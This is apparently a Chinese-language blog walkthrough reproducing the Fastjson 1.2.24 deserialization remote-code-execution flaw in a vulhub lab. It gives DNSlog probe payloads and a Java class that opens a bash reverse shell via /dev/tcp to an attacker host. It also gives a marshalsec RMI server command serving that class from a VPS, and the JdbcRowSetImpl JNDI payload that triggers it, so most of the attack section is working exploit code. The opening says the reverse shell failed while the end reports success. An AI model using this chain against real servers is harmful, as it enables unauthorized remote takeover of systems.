fastjson1.2.24-RCE漏洞復現
最近在做滲透測試的時候遇到了fastjson-RCE但是反彈shell無果,但還是記錄一下。
1.實驗環境
靶機:kali2020 vulhub
攻擊機:win10(用來抓包放包)ubuntu(在這我用的我公網的機器,用來接收shell)
2.fastjsion簡介
Fastjson是一個Java庫,可用於將Java物件轉換為其JSON表示形式。它還可以用於將JSON字串轉換為等效的Java物件,fastjson爆出多個反序列化遠端命令執行漏洞,攻擊者可以通過此漏洞遠端執行惡意程式碼來入侵伺服器。
3.環境準備
安裝JDK環境,ubunt(kali)是自帶的,但是可能會報錯,這是因為缺少元件
https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html
mkdir /opt/java
tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java
vim /etc/profile
末尾增加
export JAVA_HOME=/opt/java/jdk1.8.0_251
export JRE_HOME=/opt/java/jdk1.8.0_251
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
source /etc/profile,重新整理環境變數。
安裝maven(linux為例)
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
mkdir /opt/maven
tar zxvf [apache-maven-3.6.3-bin.tar.gz](https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz) -C /opt/maven/
配置環境變數
vim /etc/profile
在最下面增加
export MAVEN_HOME=/opt/maven/apache-maven-3.6.3 export PATH=$MAVEN_HOME/bin:$PATH
4.開啟復現
1.開啟環境
root@kali:~/vulhub# cd fastjson/
root@kali:~/vulhub/fastjson# ls
1.2.24-rce 1.2.47-rce vuln
root@kali:~/vulhub/fastjson# cd 1.2.24-rce/
root@kali:~/vulhub/fastjson/1.2.24-rce# ls
1.png docker-compose.yml marshalsec README.md
root@kali:~/vulhub/fastjson/1.2.24-rce# docker-compose up -d
Starting 1224-rce_web_1 ... done
root@kali:~/vulhub/fastjson/1.2.24-rce#
2.訪問目標進行漏洞驗證
我們可以看到有json資料
進行抓包之後呢,我們使用payload進行盲打,首先去dnslog去整一個域名來盲打,
payload:
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
1.2.67版本後payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"這裡是dnslog"}}
傳送之後,我們可以看到,已經收到請求了,說明存在這個fastjson的漏洞。
3.彈shell
首先呢,我們先新建一個java指令碼(TouchFile)
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/接收shell的IP/埠 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
在該檔案下開啟命令列進行編譯,編譯成.class
將編譯好的class檔案放到web目錄下,我的以前搭建過網站,我放到網站下邊了,也可以使用python -m http.server 6666(注意在class下)開個簡易的服務
我們進入搭建RMI服務的target目錄內
使用
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP/#TouchFile" 1234
這裡的vpsIP是指你的公網的開啟web後放入TouchFile.class的那臺伺服器。本意為,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本機的9999埠開啟一個RMI服務載入TouchFile.class檔案。
我們在開一個終端,來監聽埠
抓包傳送一下payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://IP:1234/TouchFile",
"autoCommit":true
}
}
成功接收到shell